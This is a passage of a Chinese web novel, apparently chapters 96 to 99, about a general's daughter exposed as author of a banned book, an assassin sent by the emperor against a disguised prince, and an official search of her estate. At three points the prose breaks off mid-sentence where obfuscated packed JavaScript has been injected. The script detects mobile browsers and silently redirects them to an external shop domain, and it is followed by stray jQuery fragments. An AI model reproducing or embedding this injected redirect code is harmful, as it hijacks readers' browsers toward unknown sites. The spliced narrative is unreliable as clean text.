花厅,林静仪端坐在桌前,心里既有些期待,也有些忐忑。 等了一会,耳边传来不断靠近的谈话声,她放开捏着衣角的手,忙抬眼朝门口看去。 只见三个人前后脚走进来,前面是婠婠,后面跟着时侍卫,以及她思念了好几个月的少年郎。 这边厢,黎书意一进屋便径直走到林静仪旁边坐下了。 扫见桌上的食盒,她并未客套,直接掀开了盒盖,盒里最上面的那屉摆着枣花酥,造型精美,气味香甜。 将盒盖放下,她嘴上忍不住揶揄一句:“做了这么多,也不知道是沾了谁的口福。” “做给你吃的。”林静仪拿手轻拐她道。 她可不信,调侃般看着走近的兄长,然而望见的只有一张沉静的脸,心里不禁有些气馁。 不想坏人好事,她原想现在就抽身离开,好留给两人说话的空间,可是知道林静仪面皮薄,便只好先作陪一会。 话题也得由她牵头才能说得起来,她先问林静仪最近在忙什么,林静仪答说不过吟诗作画罢了,答完了转向兄长,问起他在麒越的生活。 终于,在饮了一盏茶之后,黎书意借故自己还有事,二话不说起了身,临走前还顺带叫走了谢烜赫。 脱身以后,她折回头,看着斜侧边敞开的房门,忍不住摇头叹息起来:“一个含蓄,一个回避,不知何时才能走到一起啊……” “你兄长有自己的打算,让他自己处理就好。”谢烜赫说。 她闻言没有搭话,默了片刻,转头看向旁边的人,反问道:“那你呢?” 花厅,少了另外两个人以后,厅内空气陷入了微妙的静默。 林静仪抬眸扫一眼面前的俊美少年,又快速敛目,心下暗自埋怨婠婠,她的确是想见黎大哥没错,可是也没想着要这般。 踟躇片刻,她一双手局促不安地搓动着,问了自己心下最在乎的事:“黎大哥可曾收到过我的信?” “收到了。” “为何不回?”她急切说道。 “军情紧急,无暇分心。” 冷淡的回答令林静仪期待的表情黯淡下去,胸腔也被一种强烈的酸楚感占据。 她不信,父亲同她说过的,虽然麒越的战线拉得长,但并非一直在打战,所以他分明就是故意不回的,可是为什么?她不明白…… 阳光透过层叠的树叶,在地面洒落斑驳的光影,草木上沾染着晨间的清露,熠熠闪光,庭院里一片寂静,耳边唯有微风吹动的声音。 见身旁的人默然不语,似乎根本没有听见自己刚才的问题,黎书意也未再追问,有几日没见了,她还想和林静仪说说话,所以便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545755|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪都没去,就站在屋外候着。 正沉默间,发现兄长从房里走出来,她眉头一挑,这才过去多久,就聊完了? 她带着疑问往门口扫去,然后就看见了郁郁不乐的林静仪,看来他们谈得也不好。 她怨怼地瞪着兄长,兄长却是直接给无视了,径自对她旁边的人道:“时野,我有话和你说。” 说毕,便迈步走了,谢烜赫也随他离开了。 不理会他们,黎书意走到林静仪跟前,拉起她的手轻声安慰:“静仪,你别难过。” 林静仪抬头望着她,玉面黯淡,眉眼间流露出哀伤,涩然问道:“我是不是很不好?” 黎书意见之顿生怜惜,忙开解说:“你怎会不好,是他死脑筋。” 她确信兄长对林静仪有意,只是这份感情从一开始便被压抑着,从前是因为林静仪与昌顺伯府的世子有婚约,现在是因为将军府的危险处境。 她不是不明白兄长的考量,他大约觉得自己是一个没有明天的人,所以不想耽误林静仪,可这未免太独断了些,至少也该问一问对方的想法。 只是,这种事得由本人解决,她不便插手,所以即便着急,也只能作罢。 这事说不了,想让林静仪开心,她便准备说兄长给她从麒越带来的新奇小礼物。 正欲开口,见林静仪已然恢复过来,看着她道:“不说我了,其实我今日过来主要是找你的。” “找我何事?”她随口问道。 “墨含。” 墨含两字毫无预兆地落进耳朵,黎书意不可置信地凝视着眼前的少女,她完全没想过会从林静仪口中听见这个名字,不禁心头一阵激荡,彻底愣住了。 良久,她找回神智,支吾着问:“你……你怎会知道?” 林静仪笑答道:“我们什么关系,我会不清楚你的行文风格,况且从前谈话时你曾提过《学崖》的点子。” 经她这么一提,黎书意回想起来,她确实说过的。 那是兄长入学不久后,弘学馆里组织了一场踏青活动,见兄长下学回来吩咐小厮去收拾行囊,说要在山清水秀的地方和同窗友人欢度两天一夜,她听后羡慕不已,在兄长离开后便同林静仪抱怨起来。 “你抱怨说凭什么西景的女子不能入学堂,要是我们也能像丹霄的女子一样就好了,抱怨完了,你沉默了一会,接着突发奇想问我说,会不会有女子不甘心,投机扮作男子混入学堂读书,我摇头说不可能,毕竟学堂生源极少,审查严格,你失望地低下头,可很快又抬起头来,眼睛里散发出光彩,说要是有一对模样相同的双生子呢。” 随着林静仪娓娓道来的话语,黎书意的记忆越发清晰,在那场谈话里,她假定了一对双生子里的兄长在入学前因意外丧命,妹妹本就渴望读书而不能,眼下千载难逢的机会摆在面前,最后她便做了一个大胆的决定,打算代替兄长读书。 “你天马行空地幻想起来,描绘着那女子课上随师长诵读经典,研习诗书礼仪,课余与同窗谈笑风生,体验宴饮之乐,还有为了不暴露自己的女子身份,她是如何在外貌与服饰上做伪装,如何在行为举止上模仿的。” 曾经说过的话响在耳边,黎书意此时的心情难以言喻,半晌她艰难地问:“所以你从一开始就知道了?” 97. 暗杀 “不,”林静仪摇了摇头,“刚看《学崖》时我发觉故事与你从前所说之话相似,只是有这一层猜测而已,尚不敢确定。” “那是何时?”黎书意激动地追问。 “你记不记得有一次宴会,大家聚在一起闲聊时提到了《陈冤录》?” 就几个月以前的事,她自然还记得,遂点了一下头。 林静仪含笑看着她,往下说道:“因为心里本就有了猜测,所以当时我特意观察你的神色,然后发现了你克制的得意。” 被密友揭穿,黎书意有点难为情,旋即她不解地问道:“你既知道了,为何不问我?” “我想着你瞒我一定有缘由,所以一直等着你主动和我说。” 听见这话,黎书意的胸口仿佛被勒住一般,心里被浓浓的愧疚感淹没,她们自小无话不谈,林静仪定然为她的隐瞒找了无数理由。 《学崖》是她第一次尝试写话本,开始难免顾虑重重,便想着等取得好成绩了然后再分享。 然而,还未等她找到合适的坦白时机,谢烜赫以时野的身份出现在她身边,接着《陈冤录》孕育而生,这本书承载的意义重大,让她无法坦白,所以她便彻底放弃了吐露这层身份。 只是,没想到,林静仪一早就知道了,黎书意抬眼,歉疚地说:“对不起。” “不必说对不起,现在我清楚你的苦衷了。”林静仪并未在意,她理解好友的想法,顿了一顿,她问出心中牵挂的问题,“所以时侍卫是昭王世子吗?” 虽说从《陈冤录》问世以来,她便开始在看书了,可是一直没往这方面想,毕竟可能性太小。 直到听见了市井言论,前两日又发生了焚书事件,她才终于把一切串联起来,想起了记忆里那个凤眸星目,冷峻出尘的世子,再一比对,发现时野与他确实在身形气质和行事方面有诸多的相似之处。 黎书意不知该怎么回答这个问题,尤其现在知道谢烜赫还活着意味着危险,可是她已经隐瞒了那么多,她张了张口,想说些什么。 “不必说了。”还未吐出一字,林静仪忽然制止了。 她体谅而关切的眼神让黎书意心头一暖,同时愧疚感累积成海,这时又听见她柔声叮咛道:“不管你们在做什么,答应我一定注意安全。” “嗯。”黎书意重重点头,她鼻腔发酸,眼眶发热,拼命忍耐才没有哭出来。 一时间两人都没再说话,安静了片刻,林静仪开口先打破沉默,说她该走了,黎书意并未出言挽留,因为不知道接下来再待在一起该聊什么,于是将林静仪送出一段路后,她便回自己院子了。 皇宫。 退朝后,景帝回到御书房,他坐在案头抬手按揉眉心,胸中烦闷不已。 昭王府别苑的军械与梁党制式相同,告发昭王的李振益是梁甫的人,线索清晰,审查顺利,刑部没费太多精力就证明了昭王的清白。 上到高官,下至小吏,就连平王也上奏,恳请恢复昭王的爵位,之前他也是这么想的,可现在他不愿了。 此外,便是提议委以黎长策重任的,本就得知将军府私下筹谋平反,而谢烜赫还好生生活着,听了朝臣们的谏言,他心里的厌恶越积越多。 这些年来,黎家军屡战屡胜,黎横天这个领军者的威望直逼自己,这次更是先斩后奏,居然打了胜战不回孟章述职,而是继续滞留在麒越,俨然不把他这个皇帝放在眼里。 黎长策,当初启用这个乳臭未干的小子他是带了目的的,想着若是此子死在了战场上,黎家便后继无人了。 若是不死,多少也能起到分割权力的作用,然而这小子仅参加了两场战役,就迅速积累起名声,外界都道虎父无犬子。 再说谢烜赫,他这个好侄儿他幼时便看出来不是一个省油的灯,所以一直提防着,当得到他坠崖而亡的确切消息时,他还为此庆幸了许久,没曾想那竟然是一场假死。 前不久,安插在太子府的眼线深夜入宫求见,禀报说将军府的侍卫带了几十名武艺高强的暗卫上门去营救被囚禁的黎书意,细问了领头人的长相身形,再结合时下的市井言论,他当下便猜出那是他的侄儿。 没想到,一条漏网之鱼就在他的脚下游动,他却浑然不觉,那些武艺高强的暗卫既然不是将军府的人,那便是昭王府的残部,其背后的势力不可小觑。 最后,还有那黎书意,作为黎横天的掌上明珠,他一直有所耳闻,不过从来没有放在心上,毕竟就是一个样貌出挑,有些才学的小女娃罢了。 直到得知自己的儿子与她颇为亲近,他透过皇后之口才多了解了些,得知这女子个性桀骜,不服管教,经过一番斟酌,便没将她定为太子妃。 是他小看她了,大门不出,二门不迈,居然用笔杆子同他作对,即便现在《学崖》和《陈冤录》全都被焚毁了,可他到底无法左右万千民众的思想,关于昭王的言论就不曾断绝过,甚至还有了昭王世子还活在人世的猜测。 一个人就有够令人头疼的,偏偏还是四个,四个也就罢了,偏偏他们还是一伙的,这种刀架在脖子上的阴冷之感令他寝食难安。 这些问题就像一团乱麻似的缠绕在一起,堆在景帝的脑子里,让他无法理清头绪,无法下决断。 想着想着,他的思绪又转回到黎横天不回朝的举动之上,呈报给他的信函是说那边虽然已经归顺了,但是部落里的几个酋长仍不服气,蠢蠢欲动,需要再坚守一段时日。 可事实果真如此吗?税收都已经交上来了,他心里是越想越不安。 突然,一个可怕的猜测涌上脑海,他在想会不会自己才是策划昭王案的始作俑者这事被知道了? 这个猜测刚一冒头,便吓得他心一下子紧缩起来,全身血液几乎凝滞。 他开始回溯过往,试图揪出些许可能性,掀起眼皮瞟了一眼御案上的《陈冤录》,最近他才耐着性子看完,就故事而言,书中角色一直把矛头对准严会之。 以此为依据,基本上可以确定在梁甫叛乱以前,他们都是把他当作复仇对象的。 那这之后呢? 叛乱爆发时黎家父子还在麒越,那时正在交战,两地相隔千里,且麒越时有奏报传来,他们不可能有机会参与。 那谢烜赫和黎书意这边呢? 去天牢的那日,他盘问过狱丞可有人曾去见过梁甫,狱丞答说并没有探访记录。 综合目前的情况看下来,他们似乎没有知道的可能性,然而敌人在暗,他不敢掉以轻心。 摇摆不定许久,他终于下了决心,便抬头对赵让道:“去把燕三找来。” 不管有没有,谢烜赫都不能活着,自己绝不可能再给他成长的机会了,现在外面关于他尚在人世的传闻甚嚣尘上,他得尽早处理了,免得夜长梦多。 …… 夜已深了,屋子里漆黑一片,谢烜赫抱臂平躺在床上,睁着双眼沉浸在自己的思绪里。 傍晚,纯钧来报,说各据点已经做好了应对准备,陵光本部的暗卫也在龙胆的指挥下紧锣密鼓地开始往金错山庄储备粮草、弓箭和火石等物资,后方布署井然,令他心里有了几分底气。 此外便是黎书意了,一想起她,谢烜赫的心脏就像是被一根绳子紧缚着,绳头两个截然不同的选择不断在拉扯抗衡,让他感到窒息般的疼痛。 白天的质问犹在耳边,到了深夜,他仍然给不出答案。 向前一步,那无异于拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545756|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的手共赴深渊,他怎么舍得让心爱的人因为自己而时刻遭受生死威胁。 后退一步,那他们的关系不是退回原位,而是会变得更糟糕,装在心里数年的女孩,好不容易有机会了,他怎么舍得放弃。 黎书意的性子他是知道的,如果他这么做了,便再无可能了。 谢烜赫左思右想,权衡数遍,却始终无法做出抉择,熬到三更才堪堪入睡。 大夜弥天,寒星孤月,街上一片寂静,只偶尔传来几声鸦啼狗吠,一道细长的黑影如鬼魅般越上了将军府后院的院墙。 站稳脚跟后,燕三谨慎地环视四周,视线最后锁定在前面有颗树的房间上,据府里外院做洒扫的线人所报,那昭王世子所伪装的异族侍卫就住在这间屋里。 确定好目标,他屏息凝神一步一步靠近,到了房门口,便用刀挑开门栓,然后轻推开门,闪身进入。 尽管是黑夜,但长久的训练让他能够夜视,环视了一圈屋子,确保四周没有机关和埋伏,他朝卧床看去。 床帘并未放下,所以他一眼就看见了平躺在床上的人,少年眉宇微拧,身上被子轻微起伏着。 他重新迈步,听闻世子身手出众,因此他每一步都走得格外小心。 陛下给的命令是取世子的项上人头,若是失败了,要的便是他的项上人头,为避免不必要的麻烦,最好的结果便是趁人熟睡之际,不着痕迹地将其解决掉。 考虑到抽剑的声音恐会惊扰行动,此来他没有带剑鞘。 终于,他来到床边,目光落到了那张沉静的脸上,他放缓呼吸,收敛杀意,然后慢慢抬起手中的剑,再利落地狠刺而下。 “铛!”的一声,剑最终卡在了半空,另一柄雪刃挡住了他的进攻。 好快,燕三眼睫轻颤,他甚至没看清楚床上的人是何时醒的,又是如何出手的,对上盯着自己的那野狼般的幽冷双眸,他不由心头一颤。 杀手的素质提醒他,此刻不该分神,重整完心情,他立时后退了一步,为下一次攻击争取空间。 既然不能在睡梦中解决,那便正面出击吧,正好比一比谁的武艺更高,带着这样的想法,他身形一退,寻找时机再挥剑,剑尖直取对方咽喉。 谢烜赫一向警觉,从未发生过人到了床前才发现的地步,由此可见,此人武功不容小觑。 若非最近愁思过多,他越发觉浅了,恐怕今夜就要身首异处了。 关于来人是谁,他甚至都不用猜,便知道是皇宫里头那位的手笔,目前知道了他身份的,且会做这样的事的,只有那位。 那位他暂时动不得,那便先在他的爪牙身上找回来,他手腕轻转,手中剑光影纵横,先化解对手狠辣迅猛的攻击,接着再身形一闪,转守为攻,长剑化作一道流光,直取对方要害。 “叮铃当啷!”短兵相接和桌椅被劈裂的声音响成一片,搅碎了寂静的夜。 两人打斗之时,一人提着剑快步而入,来的是纯钧。 他睡得正熟,被耳边的刀剑声叫醒,出门一看,见主子的房门虚掩着,里面不时传出打斗声,于是二话不说拔剑加入。 一时间,房内刀剑交锋,犹如一道道在夜空中炸开的闪电,寒星四洒,铮鸣不止。 因为是下了杀心的,所以谢烜赫打从一开始便没有手下留情,此时杀手早就深受重伤。 纯钧加入之后,优势便更明显了,两人合力齐攻,过了三十来招,对面的人便体力不支,动作不敏,一个躲闪不及,最终被谢烜赫刺中要害。 眼睛也不眨一下,谢烜赫将剑继续推进,彻底贯穿了刺客的身体,看着人在眼前慢慢咽气了,他漠然抽出剑,对纯钧道:“把尸体先放进隔壁空房间。” 98. 遣散 晨光熹微,万物初醒,载驰院里的晓雾还尚未完全退散。 净了面,黎书意坐到镜台前,她微阖着眼,任由兰亭为自己梳头添妆。 “二姑娘,少将军那边来人了,说有事找您。”院里的侍女进屋通报道。 脸上本来还挂着晨起的倦懒,一听这话,黎书意瞬间清醒了,兄长大早上叫她,估计是有要事要说。 梳了妆,她离开卧房,往玄微院去了。 一路上,看见府里的仆从们各司其职,一派安宁之景,这让她有些恍惚。 到了玄微院,绿沉迎过来道:“见过二姑娘,少将军在书房里。” 她点头,将兰亭留在了外边,然后推门进书房了。 房内肃静无声,兄长坐在案头,面目严峻,案前站着谢烜赫,他的脸色明显也不好。 见此情景,黎书意顿感不妙,忙问:“出何事了?” 黎长策抬眸看向小妹,踌躇了一会,终于开口告知道:“府里昨夜来刺客了。” “刺客?”黎书意惊骇出声,不可置信地望着兄长。 黎长策点头,随即瞥向一旁的谢烜赫,“是冲着他来的。” 闻言,黎书意跟着转了目光,她三两步走上前去,手下意识攀上了谢烜赫的胳膊,将人从头到脚看了一遍,担忧地问:“可有受伤?” “我无事,人已经被我杀了。”谢烜赫安抚道。 听到确切的答案,黎书意放下心松开手,旋即她的大脑运转起来,整个孟章城清楚谢烜赫身份的,且能对他动手的只有一方势力,那便是皇帝。 想到这,她惊呼:“这么说……他知道我们已经了解实情了?” “可能有所猜测,但还不敢确定。”黎长策答道,说着他起身,“不过能肯定的是,他容忍不了我们了。” 黎书意的心“咯噔”一下,身体顿时变得僵硬,一股寒意直从脚底窜到了脑门,这话的意思很明显,皇帝要对付他们了。 对付将军府需要足够好的借口,可对付失去了身份的谢烜赫却不需要,所以,头一步便先铲除他。 眼下这一步没成功,接下来他会做什么呢? 不管他将用何种手段,又将在何时实施,总之提前应对是必须的。 最终,他们商量了一番,拟了封信给麒越的父亲,简单讲述了这边的情况,并让他立即带军动身前往金错山庄。 从玄微院出来以后,黎书意当即吩咐兰亭,要她通知富春姑姑和毕定边明天去她那儿,又另外让人派人传信给天元姑姑和舒凌寒,叫她们两人务必上府一趟。 之前,黎书意虽然做了些准备,但是一直没有告诉他们原因,毕竟事情还没发生,不宜多说,现在已经到了关键时候,自然是要说的。 翌日,起床洗漱后黎书意便去了尚姜院,像整理自己的物品时一样,她挑选出那些对父母来说意义重大的经史典籍、古玩字画和金银玉器等物,把它们提前归置好。 忙碌了一个早上,终于收拾完,等用过午膳,她进书房去了,一边休息一边等大家的到来。 “二姑娘真要这么做?”兰亭愁眉不展地看着摆在桌案上的木匣子,匣子是打开的,里面装着府内一干侍从的身契。 之前契纸几乎满匣,可经过上回借着更换下人的由头,已经清掉了三成,现在再遣散一批,那将军府便没什么人了,这让她有一种家被拆散了的感觉。 然而却闻二姑娘道:“事关生死,我自当问清他们的意见。” 见二姑娘态度坚决,她没有再多话,作为最初被询问的那个人,她明白二姑娘的良苦用心,知道二姑娘是不愿让无辜的人受累。 她最终决定留下,不知他们呢? 别离不是一个好的话题,书房很快又恢复了最初的安静,主仆二人一同静待着众人到来。 午正,被通知的人陆续赶来,首先是本就居于府中的富春姑姑和毕定边,接着是在街市经营铺子的舒凌寒,最后是在远郊管理田庄的天元姑姑。 待人到齐了,黎书意示意兰亭将门合上,然后迎上四人好奇的目光,开始了这次谈话。 “今天叫你们过来是有很重要的事要说。” 她的视线从这一个身上慢慢挪到下一个身上,这四位是除了她的亲人以外同她最亲近的人,要与他们说再见她也很不舍的,可是没有办法。 “你们都算是府里的老人了,相信对府里的情况很清楚,应该知道自从昭王出事以后,我将军府如履薄冰。” 她语速缓慢,只见说到这里大家的神色变得凝重,似乎料到她接下来要说的事情的严重性。 在五双眼睛的注视下,黎书意一脸正色道:“父亲与昭王是二十几年的老友,两人相交甚笃,为了摆脱被猜忌被牵连的局面,事发以后父兄与我一心渴望弄清楚真相,最终我们查到了梁甫身上,而为了能够翻案,我借着《陈冤录》将真相告知天下。” 说到这她顿住,直面众人,见他们有的惊讶有的平静,片刻后她继续往下说:“最近外面发生了什么,相信你们比我更清楚,《陈冤录》虽然助昭王得以平反,但是朝廷认为这书有煽动舆论之嫌,最终遭到了全面的焚毁。前几日我受召进宫,便是为着此事,未来将军府的情况不会好。” 将能说的说了,她起身来到众人跟前,最后把本次聚人的目的道出来:“今天之所以把你们四个人叫过来,是想让你们领走各自的身契,好恢复你们的自由身,不被牵累。” 不等他们反应,她唤兰亭:“兰亭,把契纸给他们吧。” 舒凌寒没有动,她比谁都渴望获得自由身,可是她更想靠她自己,完成与二姑娘的约定,而不是在将军府遭难时借机脱身,那样做对不起她的良心。 自得了二姑娘批准她在外经营铺子以来,她与府里的接触便少了,也就每月送账册时回来一趟,府上的事自然就错过了许多。 《陈冤录》这书她知道,只是因着日常都在忙铺子的事,她一直未来得及看,等想看时已经没有了,她未曾料想这本全城热议的禁书竟然是二姑娘写的。 回想二姑娘的话,一种奇怪的感觉在她脑中盘旋,便不解地问道:“二姑娘,以书引导舆论虽然影响不好,但是您这么做也是为了帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545757|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助昭王平反,且还借机铲除了梁甫这等奸佞,明显功大于过,如何会受到严厉的惩罚?” 若真是这般自然不会,黎书意叹息一声,可事实并非如此,只是那些不能说,她只能用一个看起来合理的理由来说服,遂回道:“文心书局的苏先生你们应该都知道,他从前因为一首诗便深陷牢狱,差点身死,何况我写了一本书。” 毕定边也没有动,他比舒凌寒要镇定些,因为《陈冤录》的书稿大半都是经由他的手送出的,所以他一直知道二姑娘就是墨含。 结合书中的故事,客郡的遭遇,对时野的差别对待,以及将军府近来异常的举动,他已经看出了主子们就是促使昭王案翻案的谋划者。 不过,与舒凌寒的态度一样,他不觉得这事影响有那么大,“两位将军战功赫赫,二姑娘做的又是善事,圣上定然会感念于此,不会重罚的。” 怎会不重罚呢,黎书意在心里回道,那人本就不满将军府威望过高,拼了命地打压,轻轻呼出一口浊气,接着她看向如同半个母亲的和蔼妇人。 富春姑姑完全没有考虑过离开,因着照管全府的事务,她日常很忙碌,不似兰亭、绿沉和沥泉能日日跟在主子跟前,能了解到的情况自然不那么详细,不过,她也能看出这一载,主子们在谋划着什么。 不管将军府即将面对什么,她都不会弃之而去的,因为她的一切都在这里。 望着自己带大的妙龄少女此刻一脸凝重,她心头满是疼惜,眼中含着泪,坚定地说道:“二姑娘,老仆自随夫人陪嫁到府上,到现在已经二十多年了,大将军和夫人对老仆恩重如山,您和少将军都是老仆看着出生长大的,如今夫人不在了,老仆怎能在这危急时刻离开您和大将军,还有少将军呢。” 三人的选择令黎书意动容,但现在不是逞一时义气的时候,若他们出事了,她如何心安。 就在这时,外面传来奇怪的嘈杂声,她正欲开口询问,紧接着就听见院里的小丫头“啪啪”拍着门道:“二姑娘,府里来官差了!” 黎书意先是眉头一皱,旋即心里涌上不安,急忙朝外走去。 打开门,果见十五六个身穿铠甲的官差正气势汹汹地朝这边走来,一股怒气冲了上来,她高喝道:“放肆,我堂堂将军府岂容你们随意乱闯!” 为首那人闻言向前踏出一步,头微微仰着,嘴上挂着得意的笑容,语气轻佻道:“呦,见过黎二姑娘。” 黎书意与此人有过几面之缘,他乃是侍御史江臣,朝中有名的酷吏,其手段主要是罗织罪名,酷刑逼供,大肆株连。 父亲曾向皇帝进言,指出他监察行为欠妥,制造了大量的无辜者受害,要求依法处置他,最终未果。 黎书意知道他今天出现在这,多半与她写的书有关,有前面的嫌隙在,她预感到接下来不会好过。 “本官并非擅闯,而是奉旨前来的。”江臣说着晃了晃手上拿着的东西。 瞧见那明黄色的卷轴,黎书意再多的理由也堵在了嘴边。 江臣见状满意地笑了,然后他当着她的面将圣旨展开,她只好跪下。 99. 清查 “哗啦啦!”院里的奴仆们也都跟着跪下。 而江臣,他刻意清了清嗓子,接着高声宣读起来:“奉天承运,皇帝诏曰:近日闻市井间流传名日《陈冤录》的话本,其书似有煽动舆论,惑乱民心之嫌,据知情者举报,此书疑为大将军之女黎书意所撰。为澄清事实,以安民心,朕特命江臣对其居所进行周密搜查,务必搜缴所有书稿,严加审讯,弄清事实真相。对于黎书意本人,若查证属实,依律严惩不贷,以正视听,若系诬告或误会,亦当还其清白,不得滥权。钦此!” 黎书意垂首安静地听着对自己的宣判,袖子里的两只手紧握成拳,指甲嵌入掌心,呼吸也变得急促而粗重。 可笑,这就是皇帝金口玉言的不追究吗?身为九五至尊,居然出尔反尔,连一个普通的庶民都不如。 “黎书意,还不接旨?” 耳边传来刺耳的提醒,她闻言缓缓抬头,盯着圣旨默了一会,终于递出双掌接下了。 手里的重量明明很轻,她却觉得似有千斤,她一直渴望光耀门楣,维护一府的安宁,不曾想最后竟然是她给家里带来了灾祸。 刚欲起身,嘲笑涌进耳朵:“这类案子本官处理了不少,没想到有朝一日居然会面对一个女子,还是将军府的嫡女。” 面对奚落,黎书意充耳不闻,攀着兰亭的手缓缓起身。 就在这时,从院门口冲进来一群人,前面是黎长策和谢烜赫,后面跟着绿沉、纯钧和毕定边,他们快步流星走过来,将黎书意护在身后。 江臣见状不以为意地勾唇一笑,语含警告道:“少将军,卑职是依旨办事,您不会是想要抗旨吧?” 抗旨两个字太重了,黎书意生怕事情会变得更加复杂,于是赶忙拉了拉兄长的衣袖,让他别冲动。 随着江臣大手一挥,他手下的书吏和差役们即刻行动起来,书房门被大力推开,他们一窝蜂涌了进去。 黎书意木木地站在门口,看着他们像强盗一样,将桌案、书柜和箱子通通翻了一个遍,望见她的珍藏被残暴的对待,她的心开始在滴血。 过了不知道多久,将书房搜刮了个遍,他们将可能的证据放在地上,黎书意扫了一眼,它们是几本丹宵文人所著之书,多以女子为核心,剩下的是她的两箱书稿。 江臣走上前去,用脚踢了踢箱子,意味不明道:“不愧是才女,这些年没少写东西啊……” 黎书意的心不住地下坠,这里几乎保留了她所有的作品,有写生活的,有写理想的,尽管对西景不满,但是她从未写过大逆不道之言。 可是,这并不能让她安心,没有证据就强造证据,断章取义是他们的拿手好戏,苏或雍便是最好的例子。 况且,皇帝找江臣办案,目的可不是想洗清冤屈,而是为了坐实罪行。 只见书吏们从箱子里将纸张拿出来,一摞接一摞搁到桌案和茶几上,接着他们就地坐下,开始阅看起来。 他们先是粗略地浏览一遍,一张看完了便放到一边,再抄起另一张来看,部分被单独拎出来,然后递交到江臣手里。 黎书意的手攥得死紧,心提到了嗓子眼,她知道这些便是存疑的部分,也就是可以拿来做文章的部分。 胸口仿佛被勒住,一阵闷痛,令她难以呼吸,这时一只手伸了过来,她侧头,看见兄长安抚的眼神。 “没事的,小妹不必担忧。”黎长策温声道。 “我们会陪着你。”谢烜赫附和。 “嗯。”黎书意虽然点头了,但是心里却做不到不担忧,此时一家人的命运都捏在她手中。 她的身边还站着家中的亲随,他们刚刚才向她表明了要追随的心迹。 “黎二姑娘。”不多会,江臣朝她走了过来,在她面前抖了抖手里的那三四页纸,然后抽出第一张。 江臣先一字一句将她写的诗念完,接着他的目光从纸上划到她脸上,不怀好意地问:“‘晚色愈浓景渐昏’,敢问黎二姑娘能否解释一下这句诗的意思。” 这诗是母亲去世后两月,回孟章后她去弘恩寺斋戒、点长明灯时所作,当时她心情不好,在宝殿中诵经祈福结束,出门后看见山上隆冬时节萧杀的暮色,便有感而发写下了这首悲凉的诗。 “晚色愈浓景渐昏”,她不过是写暮色四合的情景罢了,但到了江臣这里,定然会被解读为对朝廷的不满和讽刺。 眼下不是该退缩的时候,她绝不允许别人把黑的说成白的,便解释道:“素闻江大人博学洽闻,这首拙作简单直白,大人应当能看出,小女子不过观弘恩寺暮景有感罢了。” 顿了顿,在江臣张口准备提出疑问时,她将韵律、出典、意向……所有的都解释了一番,不给他一丝歪曲的机会。 在她解读的时候,江臣的脸变得阴沉,待她说完了,那张脸已经黑如锅底。 江臣压抑着怒气盯着她看了许久,接着又抽出了第二张纸,咄咄逼人道:“那这张呢?” 按照刚才的回答方式,她继续解答疑问。 对方逐渐气急败坏起来,她却变得越发镇定,等将四首诗都过了一遍,江臣的脸已经涨成紫色了。 “好——”江臣拖长尾音,将纸重重地扔到地上,然后指了指身后,恶狠狠道,“那里还有好几摞呢,我看你能能耐多久!” 说罢,他带着人离开了书房。 清查书稿的人走了,可是差役并没有,他们在各处把守,像看犯人一样,监视着院里的人的一举一动。 见事情告一段落,黎书意终于转身,面对身后站着的那一群人,心里是浓烈的愧疚,“我对不起你们。” “二姑娘不必太担心了,”富春姑姑温声安慰,“不会有事的。” 舒凌寒接话道:“谁都没有预料到,二姑娘不必自责。” 见他们如此善解人意,黎书意心中更痛了,定了一定神,她故作坚强道:“我知道,好了,今天你们都受惊了,先下去歇息吧。” 众人应声离去。 待人都走了,黎书意望向兄长,在人前强撑了良久,此时她褪下了坚硬的外壳,流露出脆弱,声音哽咽地说:“兄长,我对不起你们,对不起将军府。” 黎长策将小妹揽入怀中,柔声安抚着:“这不是你的错。” 不,黎书意摇头,她分明加速了将军府的灭亡。 原来这就是皇帝刺杀谢烜赫失败后走的第二步棋,以她这个有“污点”的人为突破口,对付将军府。 虽说今天靠着强辩阻止了被栽赃的可能,但是江臣临走前的话尚在她耳边回荡,她觉得躲过去的机会渺茫。 一旦被冠上谋反罪名,那便只有两条路可走,要么认罪要么反抗,他们不可能认罪,那就只剩下反抗了,而那便是真的做实了谋反。 黎家世代忠良,黎家军在战场抛头颅洒热血,绝对不能被扣上乱臣贼子的名号,就算是不得已而为之,也要让天下人知道是皇家负我黎家,负自己的手足,而非他们负皇家。 “兄长……”想到这她抬起头。 “怎么了吗?”黎长策问。 谢烜赫也望着黎书意。 在两人好奇的目光下,黎书意说了自己的想法。 …… 被圈禁、被查抄、对将军府的所有人来说,今夜注定是一个不眠之夜。 夜色浓重, 